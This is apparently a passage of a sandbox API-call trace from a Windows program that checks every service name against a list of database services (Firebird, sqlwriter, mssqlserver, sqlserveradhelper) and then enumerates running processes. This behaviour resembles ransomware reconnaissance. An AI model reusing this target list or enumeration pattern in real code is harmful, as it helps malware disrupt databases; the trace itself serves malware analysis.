	[0083.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0083.616] lstrlenW (lpString="Audiosrv") returned 8
	[0083.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0083.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0083.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0083.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0083.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0083.616] lstrlenW (lpString="BFE") returned 3
	[0083.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0083.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0083.617] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0083.617] lstrlenW (lpString="BITS") returned 4
	[0083.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0083.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0083.617] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0083.617] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0083.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0083.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0083.617] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0083.617] lstrlenW (lpString="CDPSvc") returned 6
	[0083.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0083.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0083.617] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0083.617] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0083.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0083.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0083.617] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0083.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0083.617] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0083.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0083.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0083.618] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0083.618] lstrlenW (lpString="CryptSvc") returned 8
	[0083.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0083.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0083.618] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0083.618] lstrlenW (lpString="DcomLaunch") returned 10
	[0083.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0083.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0083.618] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0083.618] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0083.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0083.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0083.618] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0083.618] lstrlenW (lpString="Dhcp") returned 4
	[0083.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0083.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0083.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0083.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0083.619] lstrlenW (lpString="Dnscache") returned 8
	[0083.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0083.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0083.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0083.619] lstrlenW (lpString="DoSvc") returned 5
	[0083.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0083.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0083.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0083.619] lstrlenW (lpString="DPS") returned 3
	[0083.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0083.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0083.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0083.619] lstrlenW (lpString="DusmSvc") returned 7
	[0083.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0083.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0083.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0083.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0083.620] lstrlenW (lpString="EventLog") returned 8
	[0083.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0083.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0083.620] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0083.620] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0083.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0083.620] lstrlenW (lpString="EventSystem") returned 11
	[0083.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0083.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0083.620] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0083.620] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0083.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0083.620] lstrlenW (lpString="FontCache") returned 9
	[0083.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0083.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0083.620] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0083.620] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0083.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0083.620] lstrlenW (lpString="gpsvc") returned 5
	[0083.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0083.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0083.620] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0083.620] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0083.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0083.620] lstrlenW (lpString="iphlpsvc") returned 8
	[0083.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0083.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0083.620] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0083.620] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0083.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0083.621] lstrlenW (lpString="KeyIso") returned 6
	[0083.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0083.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0083.621] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0083.621] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0083.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0083.621] lstrlenW (lpString="LanmanServer") returned 12
	[0083.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0083.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0083.621] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0083.621] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0083.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0083.621] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0083.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0083.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0083.621] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0083.621] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0083.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0083.621] lstrlenW (lpString="lfsvc") returned 5
	[0083.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0083.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0083.622] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0083.622] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0083.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0083.622] lstrlenW (lpString="lmhosts") returned 7
	[0083.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0083.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0083.622] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0083.622] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0083.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0083.622] lstrlenW (lpString="LSM") returned 3
	[0083.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0083.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0083.622] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0083.622] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0083.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0083.622] lstrlenW (lpString="MapsBroker") returned 10
	[0083.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0083.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0083.622] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0083.622] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0083.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0083.622] lstrlenW (lpString="MpsSvc") returned 6
	[0083.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0083.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0083.622] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0083.622] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0083.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0083.622] lstrlenW (lpString="NcbService") returned 10
	[0083.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0083.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0083.623] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0083.623] lstrlenW (lpString="netprofm") returned 8
	[0083.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0083.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0083.623] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0083.623] lstrlenW (lpString="NlaSvc") returned 6
	[0083.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0083.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0083.623] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0083.623] lstrlenW (lpString="nsi") returned 3
	[0083.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0083.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0083.623] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0083.623] lstrlenW (lpString="PcaSvc") returned 6
	[0083.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0083.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0083.623] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0083.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0083.623] lstrlenW (lpString="PlugPlay") returned 8
	[0083.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0083.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0083.624] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0083.624] lstrlenW (lpString="Power") returned 5
	[0083.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0083.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0083.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0083.624] lstrlenW (lpString="ProfSvc") returned 7
	[0083.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0083.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0083.624] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0083.624] lstrlenW (lpString="RpcEptMapper") returned 12
	[0083.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0083.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0083.624] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0083.624] lstrlenW (lpString="RpcSs") returned 5
	[0083.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0083.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0083.624] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0083.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0083.624] lstrlenW (lpString="SamSs") returned 5
	[0083.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0083.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0083.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0083.625] lstrlenW (lpString="Schedule") returned 8
	[0083.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0083.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0083.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0083.625] lstrlenW (lpString="SecurityHealthService") returned 21
	[0083.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0083.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0083.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0083.625] lstrlenW (lpString="SENS") returned 4
	[0083.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0083.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0083.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0083.625] lstrlenW (lpString="ShellHWDetection") returned 16
	[0083.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0083.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0083.625] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0083.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0083.625] lstrlenW (lpString="Spooler") returned 7
	[0083.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0083.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0083.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0083.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0083.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0083.626] lstrlenW (lpString="SSDPSRV") returned 7
	[0083.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0083.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0083.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0083.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0083.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0083.626] lstrlenW (lpString="StateRepository") returned 15
	[0083.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0083.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0083.626] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0083.626] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0083.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0083.626] lstrlenW (lpString="SysMain") returned 7
	[0083.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0083.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0083.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0083.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0083.626] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x31936f0 | out: hHeap=0x500000) returned 1
	[0083.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354
	[0083.834] Process32FirstW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0083.834] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0083.835] lstrlenW (lpString="System") returned 6
	[0083.835] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0083.836] lstrlenW (lpString="smss.exe") returned 8
	[0083.836] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0083.836] lstrlenW (lpString="csrss.exe") returned 9
	[0083.836] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0083.837] lstrlenW (lpString="wininit.exe") returned 11
	[0083.837] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0083.837] lstrlenW (lpString="csrss.exe") returned 9
	[0083.837] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0083.838] lstrlenW (lpString="winlogon.exe") returned 12
	[0083.838] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0083.838] lstrlenW (lpString="services.exe") returned 12
	[0083.838] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0083.839] lstrlenW (lpString="lsass.exe") returned 9
	[0083.839] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
